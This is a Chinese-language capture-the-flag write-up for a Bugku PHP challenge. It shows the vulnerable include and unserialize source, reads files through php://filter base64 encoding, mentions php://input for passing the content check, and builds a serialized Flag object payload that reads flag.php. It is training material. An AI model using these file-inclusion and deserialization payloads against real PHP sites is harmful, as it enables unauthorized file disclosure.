Bugku——welcome to bugkuctf（一道练习php://filter和php://input的好题）

查看源码有提示

<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

审计源码，发现本题需要一下要求

• get方式传递三个参数
• 存在$user
• 读取的$user文件内容===welcome to the bugkuctf
• $file要求为hint.php

关于php://filter
可以看这位大佬的博客
https://www.leavesongs.com/PENETRATION/php-filter-magic.html

关于php://input
官方描述：
“php://input可以读取没有处理过的POST数据。相较于$HTTP_RAW_POST_DATA而言，它给内存带来的压力较小，并且不需要特殊的php.ini设置。php://input不能用于enctype=multipart/form-data”

于是利用这两个php协议
首先读取hint.php内容

得到

PD9waHAgIA0KICANCmNsYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibGljICRmaWxlOyAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9zdHJpbmcoKXsgIA0KICAgICAgICBpZihpc3NldCgkdGhpcy0+ZmlsZSkpeyAgDQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgDQoJCQllY2hvICI8YnI+IjsNCgkJcmV0dXJuICgiZ29vZCIpOw0KICAgICAgICB9ICANCiAgICB9ICANCn0gIA0KPz4gIA==

base64解码还原

<?php  

class Flag{//flag.php  
    public $file;  
    public function __tostring(){  
        if(isset($this->file)){  
            echo file_get_contents($this->file); 
            echo "<br>";
        return ("good");
        }  
    }  
}  
?>  

按照同样的方法查看index.php看看

PD9waHAgIA0KJHR4dCA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzc3dvcmQgPSAkX0dFVFsicGFzc3dvcmQiXTsgIA0KICANCmlmKGlzc2V0KCR0eHQpJiYoZmlsZV9nZXRfY29udGVudHMoJHR4dCwncicpPT09IndlbGNvbWUgdG8gdGhlIGJ1Z2t1Y3RmIikpeyAgDQogICAgZWNobyAiaGVsbG8gZnJpZW5kITxicj4iOyAgDQogICAgaWYocHJlZ19tYXRjaCgiL2ZsYWcvIiwkZmlsZSkpeyANCgkJZWNobyAi5LiN6IO9546w5Zyo5bCx57uZ5L2gZmxhZ+WTpiI7DQogICAgICAgIGV4aXQoKTsgIA0KICAgIH1lbHNleyAgDQogICAgICAgIGluY2x1ZGUoJGZpbGUpOyAgIA0KICAgICAgICAkcGFzc3dvcmQgPSB1bnNlcmlhbGl6ZSgkcGFzc3dvcmQpOyAgDQogICAgICAgIGVjaG8gJHBhc3N3b3JkOyAgDQogICAgfSAgDQp9ZWxzZXsgIA0KICAgIGVjaG8gInlvdSBhcmUgbm90IHRoZSBudW1iZXIgb2YgYnVna3UgISAiOyAgDQp9ICANCiAgDQo/PiAgDQogIA0KPCEtLSAgDQokdXNlciA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzcyA9ICRfR0VUWyJwYXNzd29yZCJdOyAgDQogIA0KaWYoaXNzZXQoJHVzZXIpJiYoZmlsZV9nZXRfY29udGVudHMoJHVzZXIsJ3InKT09PSJ3ZWxjb21lIHRvIHRoZSBidWdrdWN0ZiIpKXsgIA0KICAgIGVjaG8gImhlbGxvIGFkbWluITxicj4iOyAgDQogICAgaW5jbHVkZSgkZmlsZSk7IC8vaGludC5waHAgIA0KfWVsc2V7ICANCiAgICBlY2hvICJ5b3UgYXJlIG5vdCBhZG1pbiAhICI7ICANCn0gIA0KIC0tPiAg

<?php  
$txt = $_GET["txt"];  
$file = $_GET["file"];  
$password = $_GET["password"];  

if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){  
    echo "hello friend!<br>";  
    if(preg_match("/flag/",$file)){ 
        echo "不能现在就给你flag哦";
        exit();  
    }else{  
        include($file);   
        $password = unserialize($password);  
        echo $password;  
    }  
}else{  
    echo "you are not the number of bugku ! ";  
}  

?>  

<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  

if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

• 提示hint.php中提示flag.php,从index.php可以看到对关键词flag进行了preg_match
• hint.php中定义了一个类Flag，注意到中间有个 __tostring 方法，这个方法可以理解为将这个类作为字符串执行时会自动执行的一个函数
• __tostring 方法执行时，将变量$file作为文件名输出文件内容，结合提示flag.php，猜测屏蔽的flag.php文件在此打开
• 在index.php源码中看到了$password的作用

将hint.php中的Flag方法当做字符串执行时，会自动执行 __tostring方法，只有echo，只能输出一个或多个字符串，所以构造password为Flag类型，其中的string变量flie=flag.php即可

还注意到
password=unserialize(password);

因此知道需要构造序列化对象payload为

O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}